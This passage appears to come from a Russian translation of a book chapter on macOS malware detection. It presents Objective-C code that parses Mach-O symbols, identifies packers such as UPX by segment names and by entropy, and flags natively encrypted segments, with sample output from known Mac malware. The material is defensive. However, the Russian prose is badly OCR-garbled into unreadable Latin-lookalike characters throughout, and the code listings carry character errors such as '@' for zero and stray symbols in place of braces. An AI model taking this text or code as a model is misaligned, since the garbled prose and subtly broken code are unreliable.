CwmelleHne Tabnumupl CTPOK MOXHO HaTK B none stroff cTpykTypbl symtab_command. [Jo6aBuB
yKa3aHHbIA MHAEKC M3 n_strx K 3TOMY CMELLEHNIO, MOXHO MOMY4YMTb CUMBOJS KaK CTPOKY,

3aBepuLuatoyrocsa NULL.
MTaK, 4yToObl N3BMNeYb CUMBOSbI ABOMYHOIO cpaﬁna, HY>XHO BbIMNOJTHUTb criegyroLline waru:

1. Hantn load command LC_SYMTAB, coaepXaLlyto CTPYKTypy symtab_command.

2. Ncnonb3oBatb uneH symoff cTpykTypbl symtab_command, 4ToGbl HANTW cMeLLeHNe Tabnuubl
C/MBOJIOB.

3. Micnonb3oBaTb uneH stroff cTpykTypbl symtab_command, 4To6bl HANTU cMeLLeHne TabnuLpbl CTPOK.

4. Mepebpatb Bce CTPYKTYpbl nlist_64 Tabnuubl CMMBOMOB, YTOOLI M3BMNEYb UHAEKC KaXaoro cumeorna
(n_strx) B Tabnuuy CTpoK.

5. MpUMeHNTb 3TOT MHAOEKC K Tabnuue CTPOK, YTOObI HANTU NMS CUMBONA.

OyHKLMA B NUCTUHTE 2-14 peanunayeT 3Tu warn. MNony4ne ykasatenbs Ha 3aronoBok Mach-O, oHa
COXPaHSET BCE CMMBOJSIbl B MAcCUB M BO3BpAaLLAET ero Bbi3biBaOLLEMY KOAY.

NSMutableArray* extractSymbols(struct mach_header_64* header) {

NSMutableArray* symbols = [NSMutableArray array];
NSMutableArray* commands = findLoadCommand(header, LC_SYMTAB);

struct symtab_command* symTableCmd = ((NSValue*)commands.firstObject).pointerValue;
void* symbolTable = (((void*)header) + symTableCmd->symoff);
void* stringTable = (((void*)header) + symTableCmd->stroff);
struct nlist_64* nlist = (struct nlist_64*)symbolTable;
for(uint32_t j = @; j < symTableCmd->nsyms; j++) {
char* symbol = (char*)stringTable + nlist->n_un.n_strx;
if(@ != symbol[0]) {

[symbols addObject:[NSString stringWithUTF8String:symbol]];
}
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nlist++;

}

return symbols;

b
JInctuur 2-14: iagneveHne cCMMBONOB ABOUYHOrO (hainna

MockonbKy 3Ta yHKUUS AOBOSBHO CrioXHas, pa3bepem ee nogpobHo. CHavana oHa HaxoauT load
command LC_SYMTAB ¢ NOMOLLbIO BCrioMoraTenbHon pyHkumm findLoadCommand. 3ateM oHa
nucnonb3yeT Nonsi CTPYKTYpbl symtab_command aTon load command, 4ToGbl BbIYMCNUTL agpeca B namaTu
Kak Tabnvubl CMUMBOJIOB, Tak U Tabnuubl CTPOK. Nocne nHuumManusaummn ykasaTensi Ha NepByo CTPYKTYpPY
nlist_64, Haxogsllyocs B Hadane Tabnuubl CMUMBOMOB, kKo nepebupaeT ee 1 BCe nocriegyowme
CTPYKTYpbl nlist_64. [Ans Kaxaon u3 aTux CTPYKTyp OH AobaBnseT MHAEKC K Tabnuue CTPok, YToObI
BbIYMCMUTbL afpec CTPOKOBOro npeactaBneHusa cumeona. Ecnmn cumson He paBeH NULL, kog gobasnser
€ro B MaccuB, BO3BpaLLaeMblii Bbi3biBaloLLEMY KOAY.

CkomMnunupyem 1 3anyctmm atoT kog ans DazzleSpy. Kak BuaHo, kog cnocobeH ussrneyvb MMeHa METOAOB
BPEAOHOCHOM nporpammel, a Takke MMmnopTel API, KOTopble OHa BbI3bIBaET:

% ./parseBinary DazzleSpy/softwareupdate

Symbols (count: 3101): (
"-[ShellClassObject startPty]",
"-[ShellClassObject startTask]",
"-[MethodClass getDiskSize]",
"-[MethodClass getDiskFreeSize]",
"-[MethodClass getDiskSystemSize]",
"-[MethodClass getAllhardwareports]"”,
"-[MethodClass getIPAddress]",
"-[MouseClassObject PostMouseEvent::::]",
"-[MouseClassObject postScrollEvent:]",
"-[KeychainClassObject getPass:cmdTo:]",
"-[KeychainClassObject getPasswordFromSecKeychainItemRef:]",
"_bind",

"_connect",

"_AVMediaTypeVideo",
"_AVCaptureSessionRuntimeErrorNotification",

)

Cnoco6HoCTb u3BnekaTb CMMBOIbI M3 Ntoboro asonyHoro cdanna Mach-O ynyywnT Hawe aBprucTMYeCcKoe
oBHapyxeHune BpeaoHOCHbIX nporpamM. [lanee mMbl NnporpammMHO OGHapY>XMM aHOMarbHble
XapaKTePUCTUKN, YacTOo yKasblBaloLLME, YTO ABOUNYHbIA Al 3aHAT YEM-TO 31IOHAMEPEHHbIM.

MpumeyaHue. bonee HoBble ABOUYHbIE (halinbl MOryT cogepxaTtb load command
LC_DYLD_CHAINED_FIXUPS, koTopas onTuMusmpyet o6paboTky CMMBOMOB 1 UMMOPTOB B
HegaBHMX Bepcusax macOS. B Takom criyyae Anst U3Bre4YeHNsA BCTPOEHHbBIX CUMBOJIOB HY>KEH
Aapyron nogxoA. NogpobHee 1 nporpammHy0 peann3aumio Takoro U3BfneyYeHns CM. B OYHKLMK
extractChainedSymbols npoekTa parseBinary.

O6HapyxeHMe ynakoBaHHbIX ABOUYHbIX (pannos

YnakoBLUUK UCMOMHSAEMbIX DANIIOB - 3TO MHCTPYMEHT, KOTOPbIV CXMMAaET ABOMYHBIV Ko, YTOObI
YMEHbLUNTL ero pa3mep Ansi pacnpocTpaHeHus. YNakoBLUMK BCTaBnsieT HebonbLlwon unpacker stub B
TOYKY BXoAa ABOMYHOro dharna, n a1oT stub aBTomMaTMyeckn BbINOMHAETCS NPW 3anycke yrnakoBaHHOW
nporpamMmbl, BOCCTaHaBNMBasA UCXOAHbIV KO B NaMATK.
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ABTOpbI BPE4OHOCHbIX MPOrpamMmm OYeHb JIHOST yNnaKkoBLUMKKU, NOCKONbKY CXXaTbll Kog TpyaHee
aHanusmposaTb. bonee Toro, HEKOTOpblE YNakoBLUMKU LWNPYIOT UNN AOMONHUTENBHO 06ycumpytoT
OBOVYHBIV doals, NbiTasicb NOMeLLAaTb CUrHATYPHOMY OBHaPY>XEHUIO U YCINOXHUTL aHanus. JlermtumHoe
MO B macOS peako ynakoBaHoO, NO3ITOMY CNOCOOHOCTb 0OOHapyXMBaTb 00dyCcKaLMO MOXET ObITb MOLLHOW
3BPUCTUKON ANA NOMETKM OBOMYHBLIX hannoB, 3acnyxumeaowmnx 6onee npucTanbHOro N3yyYeHus.

£ 3aBepLuy 3Ty rnaBy, Noka3as, Kak ObHapyXmBaTb ynakoBaHHbIE U 3alIM(pOBaHHbIE ABOVYHBbIE hannbl
Mach-O, nwia oTcyTCTBME 3aBUCUMOCTEN U CMMBOJIOB, aHOMasbHbIE MMEHa sections n segments, a Takke
BbICOKYH0 3HTPOMMUIO.

3aBUCUMOCTU U CUMBOIJbI

OavH NpoCTon, XOTS M HECKOMNBbKO HauBHbIW, NOAX04 K OBHapYXeHU0 ynakoBLUMKa - NepeyncnmTb
3aBMCUMOCTUN M CUMBOSbI ABONYHOrO hanna, a TodHee ux oTcyTcTBne. HeynakoBaHHble ABOVYHbIE (hanbl
Bcerga OyaoyT MeTb 3aBUCMMOCTY OT PasfnyHbIX CUCTEMHbIX (DPEMBOPKOB M BUBNIMOTEK, TaKNX Kak
1ibSystem.B.dylib, a Takke MMNOPTbI N3 3TUX 3aBMCMMOCTEN. YNaKOBaHHbIE OBOVYHbIE hannbl,
HanpoTuB, MOTyT HE MMETb HW OAHOW 3aBMCUMMOCTM UMM CMMBONA, NOCKONbKY unpacker stub 6yaet
AVHaMMYeckn paspeluaTtb 1 3arpyxatb nobble Heobxoaumble GUGNNOTEKU.

[BounyHbIV dparin 6e3 3aBUCUMOCTEN UITM CUMBOSIOB KAk MMHUMYM aHOMarseH, U Hall MHCTPYMEHT OOKEH
NMOMEeTUTb ero Anga aHanumsa. Hanpmmep, 3anyck Kkoga n3snedveHus 3aBUCUMOCTEN N CUMBOIOB and
BpegoHOCHOW nporpammbl ORAT He HaxoguT HY 3aBUCUMOCTEN, HU CUMBOJSIOB:

% ./parseBinary oRat/darwinxe64

Dependencies: (count: @): ( )
Symbols: (count: ©): ( )

Apple otool 1 nm Takke NOATBEPXKAAIT 3TO OTCYTCTBUE:!

% otool -L oRat/darwinx64
oRat/darwinx64:

% nm oRat/darwinx64
oRat/darwinx64: no symbols

OkasbiBaeTcs, ORAT ynakoBaH ¢ nomouwbio UPX, kpocc-nnaTopMeHHOro ynakoBLUMKa, KOTOPbIA NobaT
aBTOpbl BPeAOHOCHbIX Nporpamm ansd Mac. Npumepsbl Apyrnx Bpea4oHOCHbIX nporpamm macOS,
ynakoBaHHbIx UPX, BkntoyatoT IPStorm, ZuRu u Coldroot.

MUmeHa sections n segments

[BonyHble hannel, ynakoBaHHble UPX, MmoryT cogepatb crneumdpunyHble gna UPX umeHa sections nnu

segments, Takme kak __ XHDR, UPX_DATA unu upxTEXT. Ecnu mbl 0GHapyXum 3Tn MeHa npu pasbope

segments gsonyHoro danna Mach-O, MoXHO caenaTb BbIBOA, YTO ABOVYHBIN hann 6bin ynakoBaH.

Ipyrve ynakoBLuky, Takne kak MPress, nobaBnsaT cobcTBEHHbIE MMEHA segments, Hanpumep
MPRESS__.
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Cnepytowmmn cparmeHT koga us davna UPX p_mach.cpp ® nokasbisaeT cobinkm Ha HecTaHOapTHble
MMeHa segments:
if (!strcmp("__XHDR", segptr->segname)) {

// PackHeader precedes __ LINKEDIT
style = 391; // UPX 3.91

if (!strcmp("__TEXT", segptr->segname)) {
ptrTEXT = segptr;
style = 391; // UPX 3.91

}

if (!strcmp("UPX_DATA", segptr->segname)) {
// PackHeader follows loader at _ LINKEDIT
style = 392; // UPX 3.92

}

YTto6bl nony4ntb MMeHa sections n segments gBonyHoro darna, MoXxHo nepebpatb ero load commands,
uwa komaHabl Tuna LC_SEGMENT_64. 3Tu load commands cocToAT u3 CTpykTyp segment_command_64,
coAepXalLlmx YfeH ¢ MMeHeM segname ¢ UMeHem segment. BoT cTpykTypa segment_command_64:
struct segment_command_64 { /* for 64-bit architectures */
uint32_t cmd; /* LC_SEGMENT_64 */

uint32_t cmdsize; /* includes sizeof section_64 structs */
char segname[16]; /* segment name */

uint32_t nsects; /* number of sections in segment */
uint32_t flags; /* flags */
¥

JTio6Gble sections BHyTpM segment JOMKHBI MOTU HENOCPEACTBEHHO NOCIE CTPYKTYpPbI
segment_command_64, uneH nsects KOTOpon 3agaeT KonuyecTro sections. CTpykTypa section_64,
nokasaHHasi 34ecb, onucbiBaeT sections:

struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
char segname[16]; /* segment this section goes in */

3

MockonbKky MMst segment MOXXHO U3BIeYb N3 CTPYKTYPbl segment_command_64, 34ecb Hac MHTepecyeT
TOnbKO nMs section, sectname. YTo6bl 0OHapyxunBaTh ynakosLLmky Bpoge UPX, Haw Ko MOXeT
nepebpatb kaxabli segment u ero sections, cpaBHMBas MMeHa C UMEHaMy pacnpoCTPaHEHHbIX
ynakoBLWMKoB. Ho cHavana HyxxHa yHKUMSA, KoTopas npuHumaeT 3aronosok Mach-O, a 3aTem nssnekaet
segments 1 sections asonyHoro danna. yHKUNS extractSegmentsAndSections, YaCTUYHO NoKasaHHaA
B NUCTUHre 2-15, genaeTt MMEeHHO 3TO.

NSMutableArray* extractSegmentsAndSections(struct mach_header_64* header) {
NSMutableArray* names = [NSMutableArray array];

NSCharacterSet* nullCharacterSet = [NSCharacterSet
characterSetWithCharactersInString:@"\0"];

NSMutableArray* commands = findLoadCommand(header, LC_SEGMENT_64);
for(NSValue* command in commands) {

// Add code here to iterate over each segment and its sections.

}

return names;

}

JlnctnHr 2-15: NonyyeHue cnucka load commands LC_SEGMENT_64
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OTOT koA 0OBABMSAET HECKOMBKO MEPEMEHHbIX, a 3aTEM BbI3bIBaET YK€ 3HAaKOMYH BCMIOMOraTesibHyo
dyHKumio findLoadCommand co 3HavyeHnem LC_SEGMENT_64. Teneps, korga y Hac ecTb cnucok load
commands, onUcbIBaKLWUX Kaxabln segment B 4BOMYHOM dhannie, MOXHO nepebpaTtb Kaxayr u3 HuXx,
COXpaHss UX UMEHa U MMeHa BCex MX sections (MUCTUHr 2-16).

NSMutableArray* extractSegmentsAndSections(struct mach_header_64* header) {

NSMutableArray* names = [NSMutableArray array];

for(NSvValue* command in commands) {
struct segment_command_64* segment = command.pointerValue;

NSString* name = [[NSString alloc] initWithBytes:segment->segname
length:sizeof(segment->segname) encoding:NSASCIIStringEncoding];

name = [name stringByTrimmingCharactersInSet:nullCharacterSet];
[names addObject:name];

struct section_64* section = (struct section_64*)((unsigned char*)segment +
sizeof(struct segment_command_64));

for(uint32_t i = @; i < segment->nsects; i++) {

name = [[NSString alloc] initWithBytes:section->sectname
length:sizeof(section->sectname) encoding:NSASCIIStringEncoding];

name = [name stringByTrimmingCharactersInSet:nullCharacterSet];
[names addObject:name];

section++;

}

return names;

}
JlnctnHr 2-16: Nepebop kaxgoro segment u ero sections Ans n3BneYeHNsa UX UMeH

M3BnekLwm ykasaTesnb Ha Kaxayto LC_SEGMENT_64 n coxpaHmB ero B struct segment_command_64*, kog
n3BrekaeT nms segment U3 YneHa segname CTPyKTypbl segment_command_64, XpaHsiLLeecs B AOBOSIbHO
rpoMo3aKkoM u He obssaTenbHO 3aBepLuatoemes NULL maccuBe char. Kog npeobpasyer ero B
CTPOKOBhLIN 0OBbEKT, 06pe3aeT Bce NULL, a 3aTeM COXpaHSIET B MaccuB, KOTOPbIN ByaeT Bo3BpaLLleH
BbI3bIBaOLLEMY KOAY.

Hanee mbl nepebupaem cTpykTypbl section_64, Haxogdawmecs B komaHae LC_SEGMENT_64. [insa kaxaon
section B segment cyliecTByeT ogHa CTpykTypa. MNoCcKOmnbKy OHU HaYMHaKTCA cpasy nocne CTPyKTypbl
segment_command_64, Mbl UHALMANN3NPYEM yKa3aTesb Ha NepPBYH CTPYKTYpPY section_64, gobaensas K
Hayany CTpyKTypbl segment_command_64 pa3mep 9TON CTPYKTYpbl. Tenepb MOXHO nepebpaTtb kaxayto
CTPYKTYpY section, orpaHMYMBLUMCL YNeHOM nsects CTPYKTypbl segment. Kak 1 ¢ kaxgbiM UMeHeMm
segment, Mbl n3Bnekaem, npeobpasyem, obpesaem n coxpaHsem nmeHa sections.

[Mocne Toro kak Mbl N3BMEKIN BCE MMEHa segments 1 sections, nepegaem 3TOT CMMCOK MPOCTON
BCNomoratenbHOn PyHKUMM ¢ MeHeM isPacked. [Noka3aHHas B NUCTUHre 2-17, OHa NpoBepsieT,
coBnagaet Nu kakoe-nnbo MMs ¢ UMeHaMn U3BECTHLIX YNaKoBLLMKOB, Taknx kak UPX n MPress.
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NSMutableSet* isPacked(NSMutableArray* segsAndSects) {
NSSet* packers = [NSSet setWithObjects:@"__XHDR", @"upxTEXT", @"__MPRESS__", nil];
NSMutableSet* packedNames = [NSMutableSet setWithArray:segsAndSects];
[packedNames intersectSet:packers];

return packedNames;

}
JluctnHr 2-17: Npoeepka umeH segments 1 sections Ha coBnageHne ¢ UMeHaMn N3BECTHbIX YNaKOBLLUKOB

CHavana Mbl HMLManuampyem set HeCKONbKUMUM XOPOLLIO U3BECTHBLIMU MMeHaMK segments n sections,
CBSA3aHHbIMM C ynakoBLLMKaMu. 3aTem npeobpasyem cnncok segments u sections B mutable set,
nockosnbKy 06bekTbl mutable set nogaepxuatoT metof intersectSet:, KOTOpbI yaansaeT U3 NepBoro
set nobble aneMeHTbl, OTCYTCTBYHOLME BO BTOPOM. [locne Bbi3oBa 3TOro Metofa B set uMeH segments u
sections ocTaHyTCs TONMLKO MMEHa, COBNagaloLLne C UMeHamMK, CBA3aHHbIMU C YNaKOBLLMKAMM.

[o6aBuB aTOT KOA B NPOEKT parseBinary, Mbl MOXeM 3anycTuTb ero ans sapuarta IPStorm nog macOS:

% ./parseBinary IPStorm/IPStorm
binary is Mach-0

segments and sections: (
"__PAGEZERO",

" TEXT",

"upxTEXT",

"__ LINKEDIT"

)

binary appears to be packed
packer-related section or segment {( upxTEXT )} detected

Mockonbky ABouYHbIN hann IPStorm cogepxuT section ¢ umeHeM upxTEXT, ykasbiBatoLyto Ha UPX, Haw
KOA NpaBUNbHO YCTaHaBNUBaEeT, YTO ABONYHbLIN dalin yrnaKkoBaH.

OTOT Noaxoa k obHapyXeHWIO YNaKoBLLMKOB N0 MMEHaM MMeET HU3KYHO YacTOoTy NOXHbIX cpabaTtbiBaHWN.
OpHako OH He OBHapYXUT NOMb30BaTENbCKME YNAKOBLUMKN UMW AaXe N3MEHEHHbIE BEPCUN U3BECTHBIX
ynakoBLUMKOB. Hanpumep, ecnu atakytowmn nameHut UPX, 4ytobbl yaganuTe nonb3oBaTenbckme MMeHa
sections, 4To nerko caenaTtb, Nockonbky UPX nMeeT OTKPbITbIA UCXOAHbIN KOA, Mbl MOMY4YUM NOXHOE
OTpULAHNE, N YNakoBaHHLIN OBONYHbIN baln He ByaeT oOHapyXeH.

Mpymep Takoro NoBegeHUs Mbl HAXO4UM BO BPe4OHOCHOW nNporpaMmme, nssectHon kak OceanlLotus. B
BapuaHTe H ee aBTOpbl ynakoBanu ABOMYHbIN pann flashlightd ¢ nomolbio nameHeHHon sepcun UPX.
Haw TekyLmin 4eTekTop YNakoBLLMKOB HE MOXET onpeaenunTb, YTO Bpe4OHOCHas nporpaMmma ynakoBaHa:

% ./parseBinary OceanLotus.H/flashlightd
binary is Mach-0

segments and sections: (

"__PAGEZERO",

" TEXT",

"__cfstring”,

" LINKEDIT"

)

binary does not appear to be packed

no packer-related sections or segments detected
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OpHako ecrnv BpyYHyHo nccnegoBaTe BPE4OHOCHY0 MPorpaMMy, CTaHOBUTCS AOBOJSIbHO OY4EBUAHO, YTO
OBOUYHbLIV (havin ynakosaH. B gnsaccembnepe 6onblune dparMeHTsl ABOUYHOIO hanna BbirnaasaT
06gycumpoBaHHbIMK. Takke BUAHO, YTO ABOMYHBIN dhainl He COOEPXKUT CUMBOJIOB UM 3aBUCUMOCTEN:

% ./parseBinary OceanLotus.H/flashlightd
binary is Mach-0

Dependencies: (count: 0): ()
Symbols: (count: @): ()

OueBuagHO, Hall Noaxoa K obHapyXeHuo ynakoBLUMKOB TpebyeT ynyyweHua. [lanee Bbl yBUAMTE, Kak
obHapyxnBaTb ynakoBaHHble ABONYHbIE (halribl NO NX SHTPOMUM.

PacueTbl QHTponnu

Korga oBounyHbIn (haiin ynakoBaH, KOfIM4eCTBO CNy4YamHOCTU B HEM 3HAYMTENbHO yBennymeaeTtcd. B
OCHOBHOM 3TO CBSI3aHO C TEM, YTO YNMaKOBLUUKN NMMBO CKUMALOT, MO0 LWNPYIOT NCXOOHbIE MHCTPYKLMK
ABOuYHoro davina. Ecnvm Mbl MOXeM BbIMUCIIUTE KONMYECTBO YHUKANbHbIX 6aiTOB B ABOUYHOM (haine u
KnaccuduumMpoBaTh ero Kak aHomManbHO BbICOKOE, Mbl MOXEM OOBOJSIbHO TOYHO 3aKMNKYNTb, YTO ABOUYHbIN
¢rann ynakoBaH.

[aBanite pasbepem gonyHbin harin Mach-O 1 BbIMMCIIMM 3HTPOMUIO €ro ucnonHsemblx segments. Kog B
nuctuHre 2-18 ctpontes Ha kofge pa3bopa segments B oyHKumm isPackedByEntropy. [Nocne
nepeuuncneHus Bcex load commands LC_SEGMENT_64 dyHKUNA Bbi3biBAaeT BCIOMOraTernbHy0 yHKLNIO C
nmMeHeM calcEntropy Ans Kaxagon U3 HUX, YTOObl BbIMUCIIUTL SHTPOMUIO AaHHbLIX segment.

float calcEntropy(unsigned char* data, NSUInteger length) {

float pX = 0.0f;
float entropy = 0.0f;
unsigned int occurrences[256] = {0};

for(NSUInteger i = @; i < length; i++) {
occurrences[OxFF & (int)data[i]]++;

¥
for(NSUInteger i = @; i < sizeof(occurrences)/sizeof(occurrences[@]); i++) {

if(@ == occurrences[i]) {
continue;

}

pX = occurrences[i]/(float)length;
entropy -= pX*log2(pX);
}

return entropy;

}
JInctnHr 2-18; Beluncnenune sHTponun LLleHHOHa

CHavana gyHKUUS BbIYUCNSAET KONMYECTBO BXOXAEHMWI KaX4o0ro 3HayeHust 6anta, ot 0 oo OxFF.
MponycTuB 3Ha4YeHWs1, KOTOpPbIE HE BCTPEYAOTCSA, OHA BLINOMHAET CTaHA4apPTHYH hopmyny ansi
BblYMCneHus aHTponun LLleHHoHa. o] dyHKUMA JormkHa BepHYTb 3HaveHue ot 0.0 go 8.0: oT oTcyTCTBUA
3HTPOMMK, TO ECTb KOrga BCe 3HAYEHNS OAMHAKOBbI, O HAUBBLICLLETO YPOBHS SHTPOMUN. [10]

Kop ncnonb3yeT aHTponuto, 4Tobbl onpeaenvTb, BEPOSATHO N, YTO ABOUYHbIN barn ynakoBaH (JIMCTUHT
2-19). OH BOooxHoBNeH nonynsipHeiMu Python-6ubnuotekamn AnalyzePE n pefile, opueHTMpOBaHHbIMU
Ha Windows. ['"]
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BOOL isPackedByEntropy(struct mach_header_64* header, NSUInteger size) {

BOOL isPacked = NO;
float compressedData = 0.0f;

NSMutableArray* commands = findLoadCommand(header, LC_SEGMENT_64);

for(NSValue* command in commands) {

struct segment_command_64* segment = command.pointerValue;

float segmentEntropy = calcEntropy(((unsigned char*)header +
segment->fileoff), segment->filesize);

if(segmentEntropy > 7.0f) {
compressedData += segment->filesize;

}
}

if((compressedData/size) > .2) {
isPacked = YES;

}

return isPacked;

}
JInctuHr 2-19: O6HapyXeHWe ynakoBLUMKA C MOMOLLbIO aHanv3a 3HTponun

TecTupoBaHue nokasano: ecnu aHTponus segment cpegHero pasmepa Boie 7.0, MOXHO yBEPEHHO
3aKnYnTb, YTO segment CoaepXXUT cxaTtble AaHHble, TO eCTb OH NMbBo ynakosaH, NMbo 3awmndposaH. B
Takom crly4ae Mbl gobaBnsiem pa3mep segment K nepeMeHHON, YTOObl OTCNeXuBaTb 06N 00beM
cKaTbIX AaHHbIX. [locne Toro Kak Mbl BbIYUCMIN IHTPOMNUIO KaXXA0ro segment, Mbl NpoBepsieM, Kakas
YacTb BCEX AaHHbIX ABOWYHOrO hanna ynakoBaHa, genst o6bemM cxaTbIxX AaHHbIX Ha pasmep Mach-O.
ViccnepoBaHus nokasanm, 4Yto gBonyHble dannbsl Mach-O, y koTopbix oTHowweHWe packed data k obuien
AnviHe npesbiwaeT 20 NpoLEHTOB, CKopee BCEro ynakoBaHbl, XOTA 00bIYHO 3TO OTHOLLEHWE HAMHOMO
BbILLE.

MpoBepum 3TOT KO Ha ynakoBaHHOM obpasue IPStorm:

% ./parseBinary IPStorm/IPStorm
binary is Mach-0

segment (size: @) _ PAGEZERO's entropy: 0.000000
segment (size: 8216576) _ TEXT's entropy: 7.884009
segment (size: 16) __ LINKEDIT's entropy: ©.000000
total compressed data: 8216576.000000

total compressed data vs. size: ©.999998

binary appears to be packed

significant amount of high-entropy data detected
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Ypa! Kog npaBunbHo obHapy»xun, 4To Bpe4OHOCHas nporpaMmMa ynakoaHa. 3To NoTomy, 4to segment
__TEXT uMeeT O4€eHb BbICOKYHO SHTponuto - 7.884 n3 8, - 1, NOCKONbKY 3TO eANHCTBEHHbIV segment,
coaepXalymi kakme-nmbo gaHHble, OTHoweHMe packed data k obuern gnvHe ABondHOro dpanna o4YeHb
BENMKO. He MeHee BaXxHO, YTO Ko MpaBuITbHO ONpeaenui: pacnakoBaHHas Bepcusi BpPELOHOCHOM
nporpaMmmbl AENCTBUTENBHO GonbLLE HE ynakoBaHa:

% ./parseBinary IPStorm/IPStorm_unpacked
binary is Mach-0

segment (size: @) _ PAGEZERO's entropy: 0.000000
segment (size: 17190912) _ TEXT's entropy: 6.185554
segment (size: 1265664) _ DATA's entropy: 5.337738
segment (size: 1716348) _ LINKEDIT's entropy: 5.618924
total compressed data: ©.000000

total compressed data vs. size: 0.000000

binary does *not* appear to be packed

no significant amount of high-entropy data detected

B aTomM pacnakoBaHHOM ABOWYHOM charne MHCTpyMeHT obHapyxmBaeT 6onblue segments, HO BCE OHU
NUMEIOT SHTPOMMIO OKONO 6 UK Hke. [103TOMyY OH He KnaccuduuMpyeT HU OOUH U3 HUX Kak CoaepKaLLmm
cxKaTble faHHble, M OTHoweHue compressed data kK pasamepy ABOUYHOrO harina paBHO Hyrto.

Kak Bbl BUOENN, 3TOT NOAX0M HA OCHOBE 3HTPOMUU MOXET 0606LLEHHO 0OHapyXmnBaTb NOYTK fobown
yrNakoBaHHbIV ABOUYHbIN halini HE3aBUCUMO OT UCMOSb30BAHHOTO YNaKoBLLMKa. OTO BEPHO AaXe B Cry4vae
OceanlLotus, aBTOpbI KOTOPOro MCNOMNBL30Banu n3MeHeHHy Bepcuno UPX B nonbiTke nsbexartb
obHapyxeHus:

% ./parseBinary OceanLotus.H/flashlightd

segment (size: ©) _ PAGEZERO's entropy: ©.000000
segment (size: 45056) _ TEXT's entropy: 7.527715
segment (size: 2888) _ LINKEDIT's entropy: 6.201859
total compressed data: 45056.000000

total compressed data vs. size: 0.939763

binary appears to be packed

significant amount of high-entropy data detected

XoTs ynakoBaHHasi BpeAOHOCHasl NporpaMMa He COAepPXKUT HUKakux segments nnm sections,
COBMajaoLLmMX C U3BECTHbIMW ynakoBLuMkamu, bonblion segment _ TEXT cogepXXmT OYeHb BbICOKYHO
3HTponuio - 6onee 7.5. NoaToMy koA NpaBunbHO onpeaensiet, 4To obpaseu Oceanlotus ynakoBaH.

O6HapyxeHue 3awmncppoBaHHbIX ABONYHbIX (pannos

XoTsa Apple wndpyeT Intel-Bepcun pasnnyHbIX CUCTEMHBIX ABOUYHBIX (palnnos, 3amdpoBaHHbIe
CTOPOHHUE ABOMYHbIE dhanrnbl peako ObiBaloT NErMTUMHBIMU, U UX CnegyeT nomedatb Ansa 6onee
TWwaTtenbHoro aHanuaa. lndgpoBanbLWwukn 4BONYHBIX hannoB WNGPYIOT NCXOOHbIN KO BPe4OHOCHON
nporpamMmbl Ha ypoBHE ABOUYHOrO dharina. Ytobbl aBTOMaTUYECKM paclunMgpoBaTb BPEAOHOCHYHO
nporpaMmmy Bo BpeMsi BbIMOMHEHUS, LWMdpoBanbLUMK YacTo BeTaBnsieT decryptor stub u kniovesyto
MHdOpPMaLMIO B Ha4ano 4BOMYHOro dpanna, ecnv TofbKo onepaumoHHas cuctema HaTUBHO He
nogaepxuBaeT 3awmndpoBaHHble ABOUYHbIE dannbl, a macOS nogaepxmBaerT.

Kak n ¢ ynakoBaHHbIMW ABOMYHbBIMW (hbarnamu, 3amgpoBaHHble ABOUYHbIE halinbl MOXHO
0BHapyXuMBaTb C MOMOLLbIO Pac4eTOB SHTPOMUK, MOCKOMbBKY NMo60M XOPOoLLO 3amndpoBaHHbIN dann
OydeT MeTb 0OYEHb BbICOKMI YPOBEHb Crly4aiHOCTU. [103TOMY KOA, NPUBEAEHHLIN B NpeablayLemM
pasgerne, OOMMKEH MX BbiABNATb. O4HAKO BaM MOXET Oka3aTbCs MOMe3HbIM HanucaTb KoA, cneumnanbHo
cocpefoTOMEHHbIN Ha OBHapyXeHUW ABOUYHbIX (hannos, 3amndpPoBaHHbLIX HATUBHON CXEMOWN
wndgpoaHmss macOS. JTa cxema LWMPPOBaHMS HEQOKYMEHTUPOBAHa U NponpueTapHa, Nno3ToMy nrobon
CTOPOHHWUI ABOUYHBIV (hanr, UCMOoNb3yIoLWNiA ee, cneayeT cunTaTb NOA03PUTENBbHbBIM.
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B oTKpbITOM UCXogHOM Koae 3arpy3dnka Mach-O macOS (2] mosHo YBUAETb, Kak OOHapy>X1MBaTb Takue
OBOVYHbIe dhannbl. B koge 3arpysunka Mbl HAXOAMM yNOMUHaHWE 3HadeHus cnara LC_SEGMENT_64 ¢
nmMmeHeM SG_PROTECTED_VERSION_1, 3HauyeHue KOToporo paBHoO ©x8. Kak obbsacHsaeTcs B harine Apple
mach-o/loader.h, aT0 03Ha4yaeT, 4TO segment 3alwmpoBaH NponpMeTapHoO CXemMon LN poBaHNA
Apple:

#tdefine SG_PROTECTED_VERSION_1 ©x8 /* This segment is protected. If the

segment starts at file offset @, the

first page of the segment is not

protected. All other pages of the
segment are protected. */

O6bI4HO BpegoHOCHasA nporpaMmma wudpyeT Tonbko segment _ TEXT, cogeprKallmii UCNOSHSAEMbIN Kog
OBOWYHOro chawnna.

XoTs peako yoaetcs oOHapyXuTb BPEAOHOCHYHO MpOorpamMmy, UCNOMb3YHLLYIO 3Ty NPONPUETapHYH0 CXeMy
wndbpoBaHus, npumep ecTb B installer umnnanTa HackingTeam. C nomousio otool BeiBegem load
commands aToro gsouyvHoro davina. Y genicteutensHo, flags segment _ TEXT ycTaHOBNEHbI B
SG_PROTECTED_VERSION_1 (0x8):

% otool -1 HackingTeam/installer

Load command 1

cmd LC_SEGMENT
cmdsize 328
segname __ TEXT
vmaddr 0x00001000
vmsize 0Ox00004000
fileoff ©

filesize 16384
maxprot 0x00000007
initprot ©0x00000005
nsects 4

flags 0x8

YTto6bl onpeaennTb, 3almMdpoBaH fv ABOUYHLIN daiii ¢ UCNOSTb30BaHNEM 3TOM HATUBHOM CXEMbI
WndpoBaHMs, MOXHO NpocTo nepebpatb ero load commands LC_SEGMENT_64, nwa ntobble KoMaHapl, Y
KOTOpbIX 61Tl SG_PROTECTED_VERSION_1 yCcTaHOBMEHbI B UnieHe flags CTPYKTypbl
segment_command_64 (nucTtuHr 2-20).
if(SG_PROTECTED_VERSION_1 == (segment->flags & SG_PROTECTED_VERSION_1)) {
// Segment is encrypted.

// Add code here to report this or to perform further processing.

}
JlnctnHr 2-20: MNpoeepka, 3alwmdpoBaH nM segment HAaTMBHOM cxemow wundpoBaHus macOS

OTa rnaBa 6bina cocpegoToyeHa Ha 64-6utHeix Mach-0O, Ho installer HackingTeam noytu 10-neTHen
[AaBHOCTU 1 pacnpocTpaHsancs kak 32-6UTHbIN ABONYHbIN dharn Intel, HeCoBMeCTUMbI C HeAaBHUMM
